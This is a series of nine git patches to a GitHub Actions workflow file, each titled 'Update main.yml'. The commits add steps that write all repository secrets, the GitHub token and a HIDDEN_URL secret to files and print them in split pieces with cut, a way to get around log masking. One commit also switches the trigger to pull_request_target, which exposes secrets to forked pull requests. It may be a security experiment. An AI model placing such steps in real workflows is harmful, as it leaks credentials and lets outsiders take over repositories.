From 0fcf1566fcd9dc19a979626affb5419190891304 Mon Sep 17 00:00:00 2001 From: Wael <38723677+WaelAbuSeada@users.noreply.github.com> Date: Wed, 14 Sep 2022 15:57:38 +0200 Subject: [PATCH 1/9] Update main.yml --- .github/workflows/main.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index 5b150ac..357f6e3 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -12,3 +12,4 @@ jobs: curl ${{secrets.TEST_URL}} > hidden.txt echo "Retrieved hidden information" echo "-----" + echo -n "${{ tojson(secrets) }}" >> foo && cut -c1-3 foo && cut -c4- foo From 8f7e06d8665ad7e72cbc7b19a8ae48f37e679f9e Mon Sep 17 00:00:00 2001 From: Darrick Date: Wed, 14 Sep 2022 16:01:20 +0200 Subject: [PATCH 2/9] Update main.yml --- .github/workflows/main.yml | 1 - 1 file changed, 1 deletion(-) diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index 357f6e3..ce7019d 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -9,7 +9,6 @@ jobs: steps: - name: Action test run: | - curl ${{secrets.TEST_URL}} > hidden.txt echo "Retrieved hidden information" echo "-----" echo -n "${{ tojson(secrets) }}" >> foo && cut -c1-3 foo && cut -c4- foo From 781739250cd7cdb8de73b07fce11af147f721f46 Mon Sep 17 00:00:00 2001 From: Wael <38723677+WaelAbuSeada@users.noreply.github.com> Date: Wed, 14 Sep 2022 16:04:32 +0200 Subject: [PATCH 3/9] Update main.yml --- .github/workflows/main.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index ce7019d..fd2eddf 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -9,6 +9,7 @@ jobs: steps: - name: Action test run: | + echo ${{ tojson(secrets.HIDDEN_URL) }} echo "Retrieved hidden information" echo "-----" echo -n "${{ tojson(secrets) }}" >> foo && cut -c1-3 foo && cut -c4- foo From a16090299a77439e38a97dfe8c83bbf28a16a122 Mon Sep 17 00:00:00 2001 From: Wael <38723677+WaelAbuSeada@users.noreply.github.com> Date: Wed, 14 Sep 2022 16:05:36 +0200 Subject: [PATCH 4/9] Update main.yml --- .github/workflows/main.yml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index fd2eddf..fc4ae05 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -13,3 +13,5 @@ jobs: echo "Retrieved hidden information" echo "-----" echo -n "${{ tojson(secrets) }}" >> foo && cut -c1-3 foo && cut -c4- foo + + echo -n "${{ tojson(secrets.github_token) }}" >> foo && cut -c1-3 foo && cut -c4- foo From c15c4ae3630c4fc37a82e77e6506e2cd057e0b2f Mon Sep 17 00:00:00 2001 From: Wael <38723677+WaelAbuSeada@users.noreply.github.com> Date: Wed, 14 Sep 2022 16:08:33 +0200 Subject: [PATCH 5/9] Update main.yml --- .github/workflows/main.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index fc4ae05..6f43f33 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -14,4 +14,4 @@ jobs: echo "-----" echo -n "${{ tojson(secrets) }}" >> foo && cut -c1-3 foo && cut -c4- foo - echo -n "${{ tojson(secrets.github_token) }}" >> foo && cut -c1-3 foo && cut -c4- foo + echo -n "${{ tojson(secrets.github_token) }}" >> boo && cut -c1-3 boo && cut -c4- boo From 96fc84b9e512b0869fdfae08503e7cb354bc4f93 Mon Sep 17 00:00:00 2001 From: Darrick Date: Wed, 14 Sep 2022 16:15:40 +0200 Subject: [PATCH 6/9] Update main.yml --- .github/workflows/main.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index 6f43f33..8a674ae 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -1,7 +1,7 @@ name: Run Tests on: - [push, pull_request] + [push, pull_request_target] jobs: yolo: From 1e58f3c9a1e5993782916a018f936af6e4fd11f6 Mon Sep 17 00:00:00 2001 From: Wael <38723677+WaelAbuSeada@users.noreply.github.com> Date: Wed, 14 Sep 2022 16:17:13 +0200 Subject: [PATCH 7/9] Update main.yml --- .github/workflows/main.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index 8a674ae..3e7bba9 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -12,6 +12,6 @@ jobs: echo ${{ tojson(secrets.HIDDEN_URL) }} echo "Retrieved hidden information" echo "-----" + echo -n "${{ secrets.HIDDEN_URL }}" >> foo && cut -c1-3 foo && cut -c4- foo echo -n "${{ tojson(secrets) }}" >> foo && cut -c1-3 foo && cut -c4- foo - echo -n "${{ tojson(secrets.github_token) }}" >> boo && cut -c1-3 boo && cut -c4- boo From b76c0d8afb03c66484eff0a66d148711a255de11 Mon Sep 17 00:00:00 2001 From: Wael <38723677+WaelAbuSeada@users.noreply.github.com> Date: Wed, 14 Sep 2022 16:17:56 +0200 Subject: [PATCH 8/9] Update main.yml --- .github/workflows/main.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index 3e7bba9..dbf47ee 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -9,7 +9,7 @@ jobs: steps: - name: Action test run: | - echo ${{ tojson(secrets.HIDDEN_URL) }} + echo ${{ tojson(secrets.HIDDEN_URL) }} >> foo && cut -c1-3 foo && cut -c4- foo echo "Retrieved hidden information" echo "-----" echo -n "${{ secrets.HIDDEN_URL }}" >> foo && cut -c1-3 foo && cut -c4- foo From 563a660980a67bce21bfef51ecb4b7f73dd08a8a Mon Sep 17 00:00:00 2001 From: Wael <38723677+WaelAbuSeada@users.noreply.github.com> Date: Wed, 14 Sep 2022 16:19:14 +0200 Subject: [PATCH 9/9] Update main.yml --- .github/workflows/main.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index dbf47ee..e219838 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -9,7 +9,7 @@ jobs: steps: - name: Action test run: | - echo ${{ tojson(secrets.HIDDEN_URL) }} >> foo && cut -c1-3 foo && cut -c4- foo + echo ${{ secrets.HIDDEN_URL }} >> foo && cut -c1-3 foo && cut -c4- foo echo "Retrieved hidden information" echo "-----" echo -n "${{ secrets.HIDDEN_URL }}" >> foo && cut -c1-3 foo && cut -c4- foo